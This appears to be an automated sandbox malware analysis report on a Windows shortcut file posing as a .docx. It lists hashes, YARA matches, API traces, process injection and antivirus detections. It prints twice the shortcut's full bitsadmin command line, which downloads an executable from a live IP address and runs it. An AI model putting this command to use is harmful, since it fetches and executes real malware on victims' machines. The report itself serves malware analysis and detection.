popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

3ntp.docx.lnk

Generic Malware Downloader task schedule HTTP ScreenShot Create Service KeyLogger Internet API P2P DGA Http API FTP Socket Escalate priviledges DNS Code injection PWS Sniff Audio Steal credential GIF Format AntiDebug Lnk Format AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 27, 2023, 10:04 a.m. Sept. 27, 2023, 10:06 a.m.
Size 2.8KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Wed Oct 6 04:31:17 2021, mtime=Sat Sep 23 12:44:40 2023, atime=Wed Oct 6 04:31:17 2021, length=236544, window=hide
MD5 10f3245bc055a7e6eec1bedd7d12e711
SHA256 f54692a2ffa5029e44823a4f6b67151477b18cba62d3ea2137452f0b113948c9
CRC32 9D964CD2
ssdeep 24:8w/0IJ3q3c/wT+MacqJM9BGPJ+/p9mlsiiWjECu5CwdRqaq3O0Kap1deOm:8w/z3DzcqJwGnsiiWjECcREb1gO
Yara
  • Lnk_Format_Zero - LNK Format
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Generic_Malware_Zero - Generic Malware

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
103.38.236.46 Active Moloch
164.124.101.2 Active Moloch

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: BITSADMIN version 3.0 [ 7.5.7601 ]
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BITS administration utility.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: (C) Copyright 2000-2006 Microsoft Corp.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Update'
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FOREGROUND
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FILES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BYTES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0 / UNKNOWN
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TRANSFER RATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0.00 B/S
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Update'
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FOREGROUND
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FILES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BYTES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0 / UNKNOWN
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TRANSFER RATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0.00 B/S
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Update'
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FOREGROUND
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FILES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BYTES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TRANSFER RATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0.00 B/S
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Update'
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features Connection to IP address suspicious_request HEAD http://103.38.236.46/ntpvip.exe
suspicious_features Connection to IP address suspicious_request GET http://103.38.236.46/ntpvip.exe
request HEAD http://103.38.236.46/ntpvip.exe
request GET http://103.38.236.46/ntpvip.exe
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 786432
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000660000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000006a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3831000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3ecb000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 983040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000810000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000880000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3832000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3834000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3834000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3834000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2996
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3834000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe940ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9416c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94196000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94170000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe940cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe941e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe940bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe940b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94220000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe940db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9410c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe940dd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94221000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94222000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe940ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2996
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe941e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\3ntp.docx.lnk
cmdline "C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\test22\AppData\Local\Temp\ntpvip.exe' & start C:\Users\test22\AppData\Local\Temp\ntpvip.exe'
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Create a windows service rule Create_Service
description Communications over RAW Socket rule Network_TCP_Socket
description Communications over P2P network rule Network_P2P_Win
description Communication using DGA rule Network_DGA
description Steal credential rule local_credential_Steal
description Match Windows Http API call rule Str_Win32_Http_API
description Escalate priviledges rule Escalate_priviledges
description task schedule rule schtasks_Zero
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Communications use DNS rule Network_DNS
description Take ScreenShot rule ScreenShot
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Match Windows Inet API call rule Str_Win32_Internet_API
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description File Downloader rule Network_Downloader
host 103.38.236.46
url http://103.38.236.46/ntpvip.exe
Process injection Process 2624 resumed a thread in remote process 2720
Process injection Process 2720 resumed a thread in remote process 2996
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2720
1 0 0

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 2996
1 0 0
cmdline "C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\test22\AppData\Local\Temp\ntpvip.exe' & start C:\Users\test22\AppData\Local\Temp\ntpvip.exe'
cmdline bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\test22\AppData\Local\Temp\ntpvip.exe'
Lionic Trojan.WinLNK.GenBadur.4!c
McAfee Downloader-FBRQ!10F3245BC055
VIPRE Heur.BZC.YAX.Pantera.23.1845C817
Arcabit Heur.BZC.YAX.Pantera.23.1845C817 [many]
Cyren LNK/Bitsldr.B!Camelot
Symantec Trojan.Gen.NPE.C
ESET-NOD32 BAT/TrojanDownloader.Agent.OWA
Avast Other:Malware-gen [Trj]
Kaspersky HEUR:Trojan.Multi.GenBadur.genw
BitDefender Heur.BZC.YAX.Pantera.23.1845C817
MicroWorld-eScan Heur.BZC.YAX.Pantera.23.1845C817
Tencent Bat.Trojan-Downloader.Der.Ncnw
Emsisoft Heur.BZC.YAX.Pantera.23.1845C817 (B)
F-Secure Trojan:W32/LnkGen.C
TrendMicro HEUR_LNKEXEC.A
McAfee-GW-Edition BehavesLike.Trojan.xx
FireEye Heur.BZC.YAX.Pantera.23.1845C817
Sophos Mal/DownLnk-F
Ikarus Win32.Outbreak
Microsoft Trojan:Win32/AggBITSAbuse.A
ZoneAlarm HEUR:Trojan.Multi.GenBadur.genw
GData Win32.Trojan-Downloader.Agent.ABZ
Google Detected
ALYac Heur.BZC.YAX.Pantera.23.16A1CC40
MAX malware (ai score=89)
VBA32 Trojan.Link.DoubleRun
Zoner Probably Heur.LNKScript
Rising Downloader.BitsAdmin/LNK!1.BAE7 (CLASSIC)
AVG Other:Malware-gen [Trj]